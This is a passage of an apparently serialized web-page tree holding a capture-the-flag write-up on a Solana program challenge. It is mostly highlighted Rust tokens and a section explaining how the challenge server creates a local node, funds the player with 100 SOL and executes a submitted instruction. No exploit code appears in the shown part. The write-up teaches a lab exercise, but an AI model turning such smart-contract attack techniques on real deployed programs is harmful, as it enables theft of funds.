},[43371],{"type":29,"value":42721},{"type":23,"tag":504,"props":43373,"children":43374},{"style":5047},[43375],{"type":29,"value":5530},{"type":23,"tag":504,"props":43377,"children":43378},{"style":5139},[43379],{"type":29,"value":42730},{"type":23,"tag":504,"props":43381,"children":43382},{"style":5047},[43383],{"type":29,"value":5530},{"type":23,"tag":504,"props":43385,"children":43386},{"style":5058},[43387],{"type":29,"value":42739},{"type":23,"tag":504,"props":43389,"children":43390},{"style":5467},[43391],{"type":29,"value":5470},{"type":23,"tag":504,"props":43393,"children":43394},{"style":5058},[43395],{"type":29,"value":19275},{"type":23,"tag":504,"props":43397,"children":43398},{"style":5083},[43399],{"type":29,"value":6124},{"type":23,"tag":504,"props":43401,"children":43402},{"style":5058},[43403],{"type":29,"value":25101},{"type":23,"tag":504,"props":43405,"children":43406},{"style":5030},[43407],{"type":29,"value":22319},{"type":23,"tag":504,"props":43409,"children":43410},{"style":5058},[43411],{"type":29,"value":603},{"type":23,"tag":504,"props":43413,"children":43414},{"style":5467},[43415],{"type":29,"value":10087},{"type":23,"tag":504,"props":43417,"children":43418},{"style":5058},[43419],{"type":29,"value":43420},")>(",{"type":23,"tag":504,"props":43422,"children":43423},{"style":5041},[43424],{"type":29,"value":5761},{"type":23,"tag":504,"props":43426,"children":43427},{"style":5058},[43428],{"type":29,"value":1380},{"type":23,"tag":504,"props":43430,"children":43431},{"style":5047},[43432],{"type":29,"value":5091},{"type":23,"tag":504,"props":43434,"children":43435},{"style":5083},[43436],{"type":29,"value":6124},{"type":23,"tag":504,"props":43438,"children":43439},{"style":5058},[43440],{"type":29,"value":1422},{"type":23,"tag":504,"props":43442,"children":43443},{"style":5047},[43444],{"type":29,"value":357},{"type":23,"tag":504,"props":43446,"children":43447},{"style":5139},[43448],{"type":29,"value":28215},{"type":23,"tag":504,"props":43450,"children":43451},{"style":5058},[43452],{"type":29,"value":15925},{"type":23,"tag":504,"props":43454,"children":43455},{"style":5047},[43456],{"type":29,"value":357},{"type":23,"tag":504,"props":43458,"children":43459},{"style":5139},[43460],{"type":29,"value":5720},{"type":23,"tag":504,"props":43462,"children":43463},{"style":5058},[43464],{"type":29,"value":17471},{"type":23,"tag":504,"props":43466,"children":43467},{"class":5016,"line":5203},[43468,43472,43476,43480,43484,43488,43492,43496,43500,43504,43508,43512,43516,43520,43524,43528,43532,43536,43540,43544,43548,43552,43556,43560,43564,43568,43572,43576],{"type":23,"tag":504,"props":43469,"children":43470},{"style":5030},[43471],{"type":29,"value":5105},{"type":23,"tag":504,"props":43473,"children":43474},{"style":5041},[43475],{"type":29,"value":42827},{"type":23,"tag":504,"props":43477,"children":43478},{"style":5047},[43479],{"type":29,"value":5050},{"type":23,"tag":504,"props":43481,"children":43482},{"style":5058},[43483],{"type":29,"value":42712},{"type":23,"tag":504,"props":43485,"children":43486},{"style":5047},[43487],{"type":29,"value":5530},{"type":23,"tag":504,"props":43489,"children":43490},{"style":5058},[43491],{"type":29,"value":42721},{"type":23,"tag":504,"props":43493,"children":43494},{"style":5047},[43495],{"type":29,"value":5530},{"type":23,"tag":504,"props":43497,"children":43498},{"style":5139},[43499],{"type":29,"value":42730},{"type":23,"tag":504,"props":43501,"children":43502},{"style":5047},[43503],{"type":29,"value":5530},{"type":23,"tag":504,"props":43505,"children":43506},{"style":5058},[43507],{"type":29,"value":42739},{"type":23,"tag":504,"props":43509,"children":43510},{"style":5467},[43511],{"type":29,"value":5470},{"type":23,"tag":504,"props":43513,"children":43514},{"style":5058},[43515],{"type":29,"value":19275},{"type":23,"tag":504,"props":43517,"children":43518},{"style":5083},[43519],{"type":29,"value":6124},{"type":23,"tag":504,"props":43521,"children":43522},{"style":5058},[43523],{"type":29,"value":25101},{"type":23,"tag":504,"props":43525,"children":43526},{"style":5467},[43527],{"type":29,"value":10087},{"type":23,"tag":504,"props":43529,"children":43530},{"style":5058},[43531],{"type":29,"value":9655},{"type":23,"tag":504,"props":43533,"children":43534},{"style":5041},[43535],{"type":29,"value":5761},{"type":23,"tag":504,"props":43537,"children":43538},{"style":5058},[43539],{"type":29,"value":1380},{"type":23,"tag":504,"props":43541,"children":43542},{"style":5083},[43543],{"type":29,"value":6124},{"type":23,"tag":504,"props":43545,"children":43546},{"style":5047},[43547],{"type":29,"value":5091},{"type":23,"tag":504,"props":43549,"children":43550},{"style":5083},[43551],{"type":29,"value":42904},{"type":23,"tag":504,"props":43553,"children":43554},{"style":5058},[43555],{"type":29,"value":1422},{"type":23,"tag":504,"props":43557,"children":43558},{"style":5047},[43559],{"type":29,"value":357},{"type":23,"tag":504,"props":43561,"children":43562},{"style":5139},[43563],{"type":29,"value":28215},{"type":23,"tag":504,"props":43565,"children":43566},{"style":5058},[43567],{"type":29,"value":15925},{"type":23,"tag":504,"props":43569,"children":43570},{"style":5047},[43571],{"type":29,"value":357},{"type":23,"tag":504,"props":43573,"children":43574},{"style":5139},[43575],{"type":29,"value":5720},{"type":23,"tag":504,"props":43577,"children":43578},{"style":5058},[43579],{"type":29,"value":17471},{"type":23,"tag":504,"props":43581,"children":43582},{"class":5016,"line":5308},[43583,43587,43591,43595],{"type":23,"tag":504,"props":43584,"children":43585},{"style":5139},[43586],{"type":29,"value":42940},{"type":23,"tag":504,"props":43588,"children":43589},{"style":5058},[43590],{"type":29,"value":603},{"type":23,"tag":504,"props":43592,"children":43593},{"style":5041},[43594],{"type":29,"value":14678},{"type":23,"tag":504,"props":43596,"children":43597},{"style":5058},[43598],{"type":29,"value":5888},{"type":23,"tag":504,"props":43600,"children":43601},{"class":5016,"line":5336},[43602],{"type":23,"tag":504,"props":43603,"children":43604},{"emptyLinePlaceholder":15},[43605],{"type":29,"value":5734},{"type":23,"tag":504,"props":43607,"children":43608},{"class":5016,"line":5349},[43609,43613,43617,43621,43625,43629,43633,43637],{"type":23,"tag":504,"props":43610,"children":43611},{"style":5041},[43612],{"type":29,"value":43111},{"type":23,"tag":504,"props":43614,"children":43615},{"style":5047},[43616],{"type":29,"value":5050},{"type":23,"tag":504,"props":43618,"children":43619},{"style":5047},[43620],{"type":29,"value":9185},{"type":23,"tag":504,"props":43622,"children":43623},{"style":5041},[43624],{"type":29,"value":5761},{"type":23,"tag":504,"props":43626,"children":43627},{"style":5058},[43628],{"type":29,"value":1380},{"type":23,"tag":504,"props":43630,"children":43631},{"style":5083},[43632],{"type":29,"value":42904},{"type":23,"tag":504,"props":43634,"children":43635},{"style":5047},[43636],{"type":29,"value":5091},{"type":23,"tag":504,"props":43638,"children":43639},{"style":5058},[43640],{"type":29,"value":33629},{"type":23,"tag":504,"props":43642,"children":43643},{"class":5016,"line":5367},[43644],{"type":23,"tag":504,"props":43645,"children":43646},{"emptyLinePlaceholder":15},[43647],{"type":29,"value":5734},{"type":23,"tag":504,"props":43649,"children":43650},{"class":5016,"line":5388},[43651,43655,43659,43663,43667,43671,43675,43679,43683,43687,43691,43695,43699,43703,43707,43711,43715,43719,43723,43727,43731,43735,43739,43743,43747,43751,43755,43759,43763],{"type":23,"tag":504,"props":43652,"children":43653},{"style":5030},[43654],{"type":29,"value":5105},{"type":23,"tag":504,"props":43656,"children":43657},{"style":5041},[43658],{"type":29,"value":15903},{"type":23,"tag":504,"props":43660,"children":43661},{"style":5047},[43662],{"type":29,"value":5050},{"type":23,"tag":504,"props":43664,"children":43665},{"style":5058},[43666],{"type":29,"value":42712},{"type":23,"tag":504,"props":43668,"children":43669},{"style":5047},[43670],{"type":29,"value":5530},{"type":23,"tag":504,"props":43672,"children":43673},{"style":5058},[43674],{"type":29,"value":42721},{"type":23,"tag":504,"props":43676,"children":43677},{"style":5047},[43678],{"type":29,"value":5530},{"type":23,"tag":504,"props":43680,"children":43681},{"style":5139},[43682],{"type":29,"value":42730},{"type":23,"tag":504,"props":43684,"children":43685},{"style":5047},[43686],{"type":29,"value":5530},{"type":23,"tag":504,"props":43688,"children":43689},{"style":5058},[43690],{"type":29,"value":42739},{"type":23,"tag":504,"props":43692,"children":43693},{"style":5467},[43694],{"type":29,"value":5470},{"type":23,"tag":504,"props":43696,"children":43697},{"style":5058},[43698],{"type":29,"value":19275},{"type":23,"tag":504,"props":43700,"children":43701},{"style":5083},[43702],{"type":29,"value":6124},{"type":23,"tag":504,"props":43704,"children":43705},{"style":5058},[43706],{"type":29,"value":25101},{"type":23,"tag":504,"props":43708,"children":43709},{"style":5030},[43710],{"type":29,"value":22319},{"type":23,"tag":504,"props":43712,"children":43713},{"style":5058},[43714],{"type":29,"value":603},{"type":23,"tag":504,"props":43716,"children":43717},{"style":5467},[43718],{"type":29,"value":10087},{"type":23,"tag":504,"props":43720,"children":43721},{"style":5058},[43722],{"type":29,"value":43420},{"type":23,"tag":504,"props":43724,"children":43725},{"style":5041},[43726],{"type":29,"value":5761},{"type":23,"tag":504,"props":43728,"children":43729},{"style":5058},[43730],{"type":29,"value":1380},{"type":23,"tag":504,"props":43732,"children":43733},{"style":5047},[43734],{"type":29,"value":5091},{"type":23,"tag":504,"props":43736,"children":43737},{"style":5083},[43738],{"type":29,"value":6124},{"type":23,"tag":504,"props":43740,"children":43741},{"style":5058},[43742],{"type":29,"value":1422},{"type":23,"tag":504,"props":43744,"children":43745},{"style":5047},[43746],{"type":29,"value":357},{"type":23,"tag":504,"props":43748,"children":43749},{"style":5139},[43750],{"type":29,"value":28215},{"type":23,"tag":504,"props":43752,"children":43753},{"style":5058},[43754],{"type":29,"value":15925},{"type":23,"tag":504,"props":43756,"children":43757},{"style":5047},[43758],{"type":29,"value":357},{"type":23,"tag":504,"props":43760,"children":43761},{"style":5139},[43762],{"type":29,"value":5720},{"type":23,"tag":504,"props":43764,"children":43765},{"style":5058},[43766],{"type":29,"value":17471},{"type":23,"tag":504,"props":43768,"children":43769},{"class":5016,"line":5397},[43770,43774,43778,43782,43786,43790,43794,43798,43802,43806,43810,43814,43818,43822,43826,43830,43834,43838,43842,43846,43850,43854,43858,43862,43866,43870,43874,43878],{"type":23,"tag":504,"props":43771,"children":43772},{"style":5030},[43773],{"type":29,"value":5105},{"type":23,"tag":504,"props":43775,"children":43776},{"style":5041},[43777],{"type":29,"value":42827},{"type":23,"tag":504,"props":43779,"children":43780},{"style":5047},[43781],{"type":29,"value":5050},{"type":23,"tag":504,"props":43783,"children":43784},{"style":5058},[43785],{"type":29,"value":42712},{"type":23,"tag":504,"props":43787,"children":43788},{"style":5047},[43789],{"type":29,"value":5530},{"type":23,"tag":504,"props":43791,"children":43792},{"style":5058},[43793],{"type":29,"value":42721},{"type":23,"tag":504,"props":43795,"children":43796},{"style":5047},[43797],{"type":29,"value":5530},{"type":23,"tag":504,"props":43799,"children":43800},{"style":5139},[43801],{"type":29,"value":42730},{"type":23,"tag":504,"props":43803,"children":43804},{"style":5047},[43805],{"type":29,"value":5530},{"type":23,"tag":504,"props":43807,"children":43808},{"style":5058},[43809],{"type":29,"value":42739},{"type":23,"tag":504,"props":43811,"children":43812},{"style":5467},[43813],{"type":29,"value":5470},{"type":23,"tag":504,"props":43815,"children":43816},{"style":5058},[43817],{"type":29,"value":19275},{"type":23,"tag":504,"props":43819,"children":43820},{"style":5083},[43821],{"type":29,"value":6124},{"type":23,"tag":504,"props":43823,"children":43824},{"style":5058},[43825],{"type":29,"value":25101},{"type":23,"tag":504,"props":43827,"children":43828},{"style":5467},[43829],{"type":29,"value":10087},{"type":23,"tag":504,"props":43831,"children":43832},{"style":5058},[43833],{"type":29,"value":9655},{"type":23,"tag":504,"props":43835,"children":43836},{"style":5041},[43837],{"type":29,"value":5761},{"type":23,"tag":504,"props":43839,"children":43840},{"style":5058},[43841],{"type":29,"value":1380},{"type":23,"tag":504,"props":43843,"children":43844},{"style":5083},[43845],{"type":29,"value":6124},{"type":23,"tag":504,"props":43847,"children":43848},{"style":5047},[43849],{"type":29,"value":5091},{"type":23,"tag":504,"props":43851,"children":43852},{"style":5083},[43853],{"type":29,"value":42904},{"type":23,"tag":504,"props":43855,"children":43856},{"style":5058},[43857],{"type":29,"value":1422},{"type":23,"tag":504,"props":43859,"children":43860},{"style":5047},[43861],{"type":29,"value":357},{"type":23,"tag":504,"props":43863,"children":43864},{"style":5139},[43865],{"type":29,"value":28215},{"type":23,"tag":504,"props":43867,"children":43868},{"style":5058},[43869],{"type":29,"value":15925},{"type":23,"tag":504,"props":43871,"children":43872},{"style":5047},[43873],{"type":29,"value":357},{"type":23,"tag":504,"props":43875,"children":43876},{"style":5139},[43877],{"type":29,"value":5720},{"type":23,"tag":504,"props":43879,"children":43880},{"style":5058},[43881],{"type":29,"value":17471},{"type":23,"tag":504,"props":43883,"children":43884},{"class":5016,"line":5649},[43885,43889,43893,43897],{"type":23,"tag":504,"props":43886,"children":43887},{"style":5139},[43888],{"type":29,"value":42940},{"type":23,"tag":504,"props":43890,"children":43891},{"style":5058},[43892],{"type":29,"value":603},{"type":23,"tag":504,"props":43894,"children":43895},{"style":5041},[43896],{"type":29,"value":14678},{"type":23,"tag":504,"props":43898,"children":43899},{"style":5058},[43900],{"type":29,"value":5888},{"type":23,"tag":504,"props":43902,"children":43903},{"class":5016,"line":5666},[43904],{"type":23,"tag":504,"props":43905,"children":43906},{"style":5058},[43907],{"type":29,"value":5403},{"type":23,"tag":504,"props":43909,"children":43910},{"class":5016,"line":5683},[43911],{"type":23,"tag":504,"props":43912,"children":43913},{"style":5058},[43914],{"type":29,"value":5965},{"type":23,"tag":320,"props":43916,"children":43918},{"id":43917},"test-environment",[43919],{"type":29,"value":43920},"Test Environment",{"type":23,"tag":32,"props":43922,"children":43923},{},[43924],{"type":29,"value":43925},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":23,"tag":32,"props":43927,"children":43928},{},[43929,43931,43937],{"type":29,"value":43930},"When you connect to the server through a tcp connection, ",{"type":23,"tag":154,"props":43932,"children":43934},{"className":43933},[],[43935],{"type":29,"value":43936},"framework/src/main.rs::handle_connection",{"type":29,"value":43938}," gets executed, which does the following:",{"type":23,"tag":139,"props":43940,"children":43941},{},[43942],{"type":23,"tag":143,"props":43943,"children":43944},{},[43945],{"type":29,"value":43946},"Creates a new Solana local node",{"type":23,"tag":4743,"props":43948,"children":43950},{"className":5009,"code":43949,"language":5008,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[43951],{"type":23,"tag":154,"props":43952,"children":43953},{"__ignoreMap":7},[43954,44035,44111],{"type":23,"tag":504,"props":43955,"children":43956},{"class":5016,"line":5017},[43957,43961,43965,43970,43974,43979,43983,43988,43992,43997,44001,44006,44010,44014,44018,44023,44027,44031],{"type":23,"tag":504,"props":43958,"children":43959},{"style":5030},[43960],{"type":29,"value":13833},{"type":23,"tag":504,"props":43962,"children":43963},{"style":5030},[43964],{"type":29,"value":5038},{"type":23,"tag":504,"props":43966,"children":43967},{"style":5041},[43968],{"type":29,"value":43969}," builder",{"type":23,"tag":504,"props":43971,"children":43972},{"style":5047},[43973],{"type":29,"value":5050},{"type":23,"tag":504,"props":43975,"children":43976},{"style":5467},[43977],{"type":29,"value":43978}," ChallengeBuilder",{"type":23,"tag":504,"props":43980,"children":43981},{"style":5047},[43982],{"type":29,"value":5530},{"type":23,"tag":504,"props":43984,"children":43985},{"style":5139},[43986],{"type":29,"value":43987},"try_from",{"type":23,"tag":504,"props":43989,"children":43990},{"style":5058},[43991],{"type":29,"value":603},{"type":23,"tag":504,"props":43993,"children":43994},{"style":5041},[43995],{"type":29,"value":43996},"socket",{"type":23,"tag":504,"props":43998,"children":43999},{"style":5047},[44000],{"type":29,"value":357},{"type":23,"tag":504,"props":44002,"children":44003},{"style":5139},[44004],{"type":29,"value":44005},"try_clone",{"type":23,"tag":504,"props":44007,"children":44008},{"style":5058},[44009],{"type":29,"value":15925},{"type":23,"tag":504,"props":44011,"children":44012},{"style":5047},[44013],{"type":29,"value":357},{"type":23,"tag":504,"props":44015,"children":44016},{"style":5139},[44017],{"type":29,"value":5720},{"type":23,"tag":504,"props":44019,"children":44020},{"style":5058},[44021],{"type":29,"value":44022},"())",{"type":23,"tag":504,"props":44024,"children":44025},{"style":5047},[44026],{"type":29,"value":357},{"type":23,"tag":504,"props":44028,"children":44029},{"style":5139},[44030],{"type":29,"value":5720},{"type":23,"tag":504,"props":44032,"children":44033},{"style":5058},[44034],{"type":29,"value":5725},{"type":23,"tag":504,"props":44036,"children":44037},{"class":5016,"line":4868},[44038,44043,44047,44052,44056,44061,44065,44070,44074,44079,44084,44088,44093,44097,44102,44106],{"type":23,"tag":504,"props":44039,"children":44040},{"style":5139},[44041],{"type":29,"value":44042},"assert!",{"type":23,"tag":504,"props":44044,"children":44045},{"style":5058},[44046],{"type":29,"value":603},{"type":23,"tag":504,"props":44048,"children":44049},{"style":5041},[44050],{"type":29,"value":44051},"builder",{"type":23,"tag":504,"props":44053,"children":44054},{"style":5047},[44055],{"type":29,"value":357},{"type":23,"tag":504,"props":44057,"children":44058},{"style":5139},[44059],{"type":29,"value":44060},"add_program",{"type":23,"tag":504,"props":44062,"children":44063},{"style":5058},[44064],{"type":29,"value":603},{"type":23,"tag":504,"props":44066,"children":44067},{"style":6297},[44068],{"type":29,"value":44069},"\"/path/to/chall.so\"",{"type":23,"tag":504,"props":44071,"children":44072},{"style":5058},[44073],{"type":29,"value":4367},{"type":23,"tag":504,"props":44075,"children":44076},{"style":5467},[44077],{"type":29,"value":44078},"Some",{"type":23,"tag":504,"props":44080,"children":44081},{"style":5058},[44082],{"type":29,"value":44083},"(chall",{"type":23,"tag":504,"props":44085,"children":44086},{"style":5047},[44087],{"type":29,"value":5530},{"type":23,"tag":504,"props":44089,"children":44090},{"style":5058},[44091],{"type":29,"value":44092},"ID)) ",{"type":23,"tag":504,"props":44094,"children":44095},{"style":5047},[44096],{"type":29,"value":1224},{"type":23,"tag":504,"props":44098,"children":44099},{"style":5058},[44100],{"type":29,"value":44101}," chall",{"type":23,"tag":504,"props":44103,"children":44104},{"style":5047},[44105],{"type":29,"value":5530},{"type":23,"tag":504,"props":44107,"children":44108},{"style":5058},[44109],{"type":29,"value":44110},"ID);\n",{"type":23,"tag":504,"props":44112,"children":44113},{"class":5016,"line":4876},[44114,44118,44122,44126,44130,44134,44138,44143,44147,44151,44155],{"type":23,"tag":504,"props":44115,"children":44116},{"style":5030},[44117],{"type":29,"value":13833},{"type":23,"tag":504,"props":44119,"children":44120},{"style":5030},[44121],{"type":29,"value":5038},{"type":23,"tag":504,"props":44123,"children":44124},{"style":5041},[44125],{"type":29,"value":44101},{"type":23,"tag":504,"props":44127,"children":44128},{"style":5047},[44129],{"type":29,"value":5050},{"type":23,"tag":504,"props":44131,"children":44132},{"style":5041},[44133],{"type":29,"value":43969},{"type":23,"tag":504,"props":44135,"children":44136},{"style":5047},[44137],{"type":29,"value":357},{"type":23,"tag":504,"props":44139,"children":44140},{"style":5139},[44141],{"type":29,"value":44142},"build",{"type":23,"tag":504,"props":44144,"children":44145},{"style":5058},[44146],{"type":29,"value":15925},{"type":23,"tag":504,"props":44148,"children":44149},{"style":5047},[44150],{"type":29,"value":357},{"type":23,"tag":504,"props":44152,"children":44153},{"style":5067},[44154],{"type":29,"value":34972},{"type":23,"tag":504,"props":44156,"children":44157},{"style":5058},[44158],{"type":29,"value":5061},{"type":23,"tag":139,"props":44160,"children":44161},{"start":4868},[44162],{"type":23,"tag":143,"props":44163,"children":44164},{},[44165],{"type":29,"value":44166},"Funds the user account with 100 SOL",{"type":23,"tag":4743,"props":44168,"children":44170},{"className":5009,"code":44169,"language":5008,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n    .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n    .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[44171],{"type":23,"tag":154,"props":44172,"children":44173},{"__ignoreMap":7},[44174,44207,44239,44246,44288,44320,44327,44335,44399,44418,44425],{"type":23,"tag":504,"props":44175,"children":44176},{"class":5016,"line":5017},[44177,44181,44186,44190,44195,44199,44203],{"type":23,"tag":504,"props":44178,"children":44179},{"style":5030},[44180],{"type":29,"value":13833},{"type":23,"tag":504,"props":44182,"children":44183},{"style":5041},[44184],{"type":29,"value":44185}," user_keypair",{"type":23,"tag":504,"props":44187,"children":44188},{"style":5047},[44189],{"type":29,"value":5050},{"type":23,"tag":504,"props":44191,"children":44192},{"style":5467},[44193],{"type":29,"value":44194}," Keypair",{"type":23,"tag":504,"props":44196,"children":44197},{"style":5047},[44198],{"type":29,"value":5530},{"type":23,"tag":504,"props":44200,"children":44201},{"style":5139},[44202],{"type":29,"value":17169},{"type":23,"tag":504,"props":44204,"children":44205},{"style":5058},[44206],{"type":29,"value":5725},{"type":23,"tag":504,"props":44208,"children":44209},{"class":5016,"line":4868},[44210,44214,44219,44223,44227,44231,44235],{"type":23,"tag":504,"props":44211,"children":44212},{"style":5030},[44213],{"type":29,"value":13833},{"type":23,"tag":504,"props":44215,"children":44216},{"style":5041},[44217],{"type":29,"value":44218}," user",{"type":23,"tag":504,"props":44220,"children":44221},{"style":5047},[44222],{"type":29,"value":5050},{"type":23,"tag":504,"props":44224,"children":44225},{"style":5041},[44226],{"type":29,"value":44185},{"type":23,"tag":504,"props":44228,"children":44229},{"style":5047},[44230],{"type":29,"value":357},{"type":23,"tag":504,"props":44232,"children":44233},{"style":5139},[44234],{"type":29,"value":5594},{"type":23,"tag":504,"props":44236,"children":44237},{"style":5058},[44238],{"type":29,"value":5725},{"type":23,"tag":504,"props":44240,"children":44241},{"class":5016,"line":4876},[44242],{"type":23,"tag":504,"props":44243,"children":44244},{"emptyLinePlaceholder":15},[44245],{"type":29,"value":5734},{"type":23,"tag":504,"props":44247,"children":44248},{"class":5016,"line":5099},[44249,44253,44258,44262,44266,44271,44275,44279,44283],{"type":23,"tag":504,"props":44250,"children":44251},{"style":5030},[44252],{"type":29,"value":13833},{"type":23,"tag":504,"props":44254,"children":44255},{"style":5041},[44256],{"type":29,"value":44257}," payer_keypair",{"type":23,"tag":504,"props":44259,"children":44260},{"style":5047},[44261],{"type":29,"value":5050},{"type":23,"tag":504,"props":44263,"children":44264},{"style":5047},[44265],{"type":29,"value":9185},{"type":23,"tag":504,"props":44267,"children":44268},{"style":5041},[44269],{"type":29,"value":44270},"chall",{"type":23,"tag":504,"props":44272,"children":44273},{"style":5047},[44274],{"type":29,"value":357},{"type":23,"tag":504,"props":44276,"children":44277},{"style":5058},[44278],{"type":29,"value":22333},{"type":23,"tag":504,"props":44280,"children":44281},{"style":5047},[44282],{"type":29,"value":357},{"type":23,"tag":504,"props":44284,"children":44285},{"style":5058},[44286],{"type":29,"value":44287},"payer;\n",{"type":23,"tag":504,"props":44289,"children":44290},{"class":5016,"line":5203},[44291,44295,44300,44304,44308,44312,44316],{"type":23,"tag":504,"props":44292,"children":44293},{"style":5030},[44294],{"type":29,"value":13833},{"type":23,"tag":504,"props":44296,"children":44297},{"style":5041},[44298],{"type":29,"value":44299}," payer",{"type":23,"tag":504,"props":44301,"children":44302},{"style":5047},[44303],{"type":29,"value":5050},{"type":23,"tag":504,"props":44305,"children":44306},{"style":5041},[44307],{"type":29,"value":44257},{"type":23,"tag":504,"props":44309,"children":44310},{"style":5047},[44311],{"type":29,"value":357},{"type":23,"tag":504,"props":44313,"children":44314},{"style":5139},[44315],{"type":29,"value":5594},{"type":23,"tag":504,"props":44317,"children":44318},{"style":5058},[44319],{"type":29,"value":5725},{"type":23,"tag":504,"props":44321,"children":44322},{"class":5016,"line":5308},[44323],{"type":23,"tag":504,"props":44324,"children":44325},{"emptyLinePlaceholder":15},[44326],{"type":29,"value":5734},{"type":23,"tag":504,"props":44328,"children":44329},{"class":5016,"line":5336},[44330],{"type":23,"tag":504,"props":44331,"children":44332},{"style":5041},[44333],{"type":29,"value":44334},"chall\n",{"type":23,"tag":504,"props":44336,"children":44337},{"class":5016,"line":5349},[44338,44343,44348,44353,44357,44361,44365,44369,44374,44378,44382,44386,44390,44395],{"type":23,"tag":504,"props":44339,"children":44340},{"style":5047},[44341],{"type":29,"value":44342},"    .",{"type":23,"tag":504,"props":44344,"children":44345},{"style":5139},[44346],{"type":29,"value":44347},"run_ix",{"type":23,"tag":504,"props":44349,"children":44350},{"style":5058},[44351],{"type":29,"value":44352},"(system_instruction",{"type":23,"tag":504,"props":44354,"children":44355},{"style":5047},[44356],{"type":29,"value":5530},{"type":23,"tag":504,"props":44358,"children":44359},{"style":5139},[44360],{"type":29,"value":34178},{"type":23,"tag":504,"props":44362,"children":44363},{"style":5058},[44364],{"type":29,"value":603},{"type":23,"tag":504,"props":44366,"children":44367},{"style":5047},[44368],{"type":29,"value":5151},{"type":23,"tag":504,"props":44370,"children":44371},{"style":5041},[44372],{"type":29,"value":44373},"payer",{"type":23,"tag":504,"props":44375,"children":44376},{"style":5058},[44377],{"type":29,"value":4367},{"type":23,"tag":504,"props":44379,"children":44380},{"style":5047},[44381],{"type":29,"value":5151},{"type":23,"tag":504,"props":44383,"children":44384},{"style":5041},[44385],{"type":29,"value":22285},{"type":23,"tag":504,"props":44387,"children":44388},{"style":5058},[44389],{"type":29,"value":4367},{"type":23,"tag":504,"props":44391,"children":44392},{"style":5083},[44393],{"type":29,"value":44394},"100_000_000_000",{"type":23,"tag":504,"props":44396,"children":44397},{"style":5058},[44398],{"type":29,"value":21764},{"type":23,"tag":504,"props":44400,"children":44401},{"class":5016,"line":5367},[44402,44406,44410,44414],{"type":23,"tag":504,"props":44403,"children":44404},{"style":5047},[44405],{"type":29,"value":44342},{"type":23,"tag":504,"props":44407,"children":44408},{"style":5067},[44409],{"type":29,"value":34972},{"type":23,"tag":504,"props":44411,"children":44412},{"style":5047},[44413],{"type":29,"value":5195},{"type":23,"tag":504,"props":44415,"children":44416},{"style":5058},[44417],{"type":29,"value":5061},{"type":23,"tag":504,"props":44419,"children":44420},{"class":5016,"line":5388},[44421],{"type":23,"tag":504,"props":44422,"children":44423},{"emptyLinePlaceholder":15},[44424],{"type":29,"value":5734},{"type":23,"tag":504,"props":44426,"children":44427},{"class":5016,"line":5397},[44428,44433,44437,44441,44445,44450,44454,44458,44462,44466],{"type":23,"tag":504,"props":44429,"children":44430},{"style":5139},[44431],{"type":29,"value":44432},"writeln!",{"type":23,"tag":504,"props":44434,"children":44435},{"style":5058},[44436],{"type":29,"value":603},{"type":23,"tag":504,"props":44438,"children":44439},{"style":5041},[44440],{"type":29,"value":43996},{"type":23,"tag":504,"props":44442,"children":44443},{"style":5058},[44444],{"type":29,"value":4367},{"type":23,"tag":504,"props":44446,"children":44447},{"style":6297},[44448],{"type":29,"value":44449},"\"user: {}\"",{"type":23,"tag":504,"props":44451,"children":44452},{"style":5058},[44453],{"type":29,"value":4367},{"type":23,"tag":504,"props":44455,"children":44456},{"style":5041},[44457],{"type":29,"value":22285},{"type":23,"tag":504,"props":44459,"children":44460},{"style":5058},[44461],{"type":29,"value":933},{"type":23,"tag":504,"props":44463,"children":44464},{"style":5047},[44465],{"type":29,"value":5195},{"type":23,"tag":504,"props":44467,"children":44468},{"style":5058},[44469],{"type":29,"value":5061},{"type":23,"tag":139,"props":44471,"children":44472},{"start":4876},[44473],{"type":23,"tag":143,"props":44474,"children":44475},{},[44476],{"type":29,"value":44477},"Reads an instruction from the tcp stream and executes it",{"type":23,"tag":4743,"props":44479,"children":44481},{"className":5009,"code":44480,"language":5008,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], &user).await?;\n",[44482],{"type":23,"tag":154,"props":44483,"children":44484},{"__ignoreMap":7},[44485,44535],{"type":23,"tag":504,"props":44486,"children":44487},{"class":5016,"line":5017},[44488,44492,44497,44501,44505,44509,44514,44518,44522,44527,44531],{"type":23,"tag":504,"props":44489,"children":44490},{"style":5030},[44491],{"type":29,"value":13833},{"type":23,"tag":504,"props":44493,"children":44494},{"style":5041},[44495],{"type":29,"value":44496}," solve_ix",{"type":23,"tag":504,"props":44498,"children":44499},{"style":5047},[44500],{"type":29,"value":5050},{"type":23,"tag":504,"props":44502,"children":44503},{"style":5041},[44504],{"type":29,"value":44101},{"type":23,"tag":504,"props":44506,"children":44507},{"style":5047},[44508],{"type":29,"value":357},{"type":23,"tag":504,"props":44510,"children":44511},{"style":5139},[44512],{"type":29,"value":44513},"read_instruction",{"type":23,"tag":504,"props":44515,"children":44516},{"style":5058},[44517],{"type":29,"value":44083},{"type":23,"tag":504,"props":44519,"children":44520},{"style":5047},[44521],{"type":29,"value":5530},{"type":23,"tag":504,"props":44523,"children":44524},{"style":5058},[44525],{"type":29,"value":44526},"ID)",{"type":23,"tag":504,"props":44528,"children":44529},{"style":5047},[44530],{"type":29,"value":5195},{"type":23,"tag":504,"props":44532,"children":44533},{"style":5058},[44534],{"type":29,"value":5061},{"type":23,"tag":504,"props":44536,"children":44537},{"class":5016,"line":4868},[44538,44542,44546,44551,44555,44559,44563,44568,44572,44576,44580,44584,44589,44593,44597,44601,44605,44609,44613,44617],{"type":23,"tag":504,"props":44539,"children":44540},{"style":5041},[44541],{"type":29,"value":44270},{"type":23,"tag":504,"props":44543,"children":44544},{"style":5047},[44545],{"type":29,"value":357},{"type":23,"tag":504,"props":44547,"children":44548},{"style":5139},[44549],{"type":29,"value":44550},"run_ixs_full",{"type":23,"tag":504,"props":44552,"children":44553},{"style":5058},[44554],{"type":29,"value":603},{"type":23,"tag":504,"props":44556,"children":44557},{"style":5047},[44558],{"type":29,"value":5151},{"type":23,"tag":504,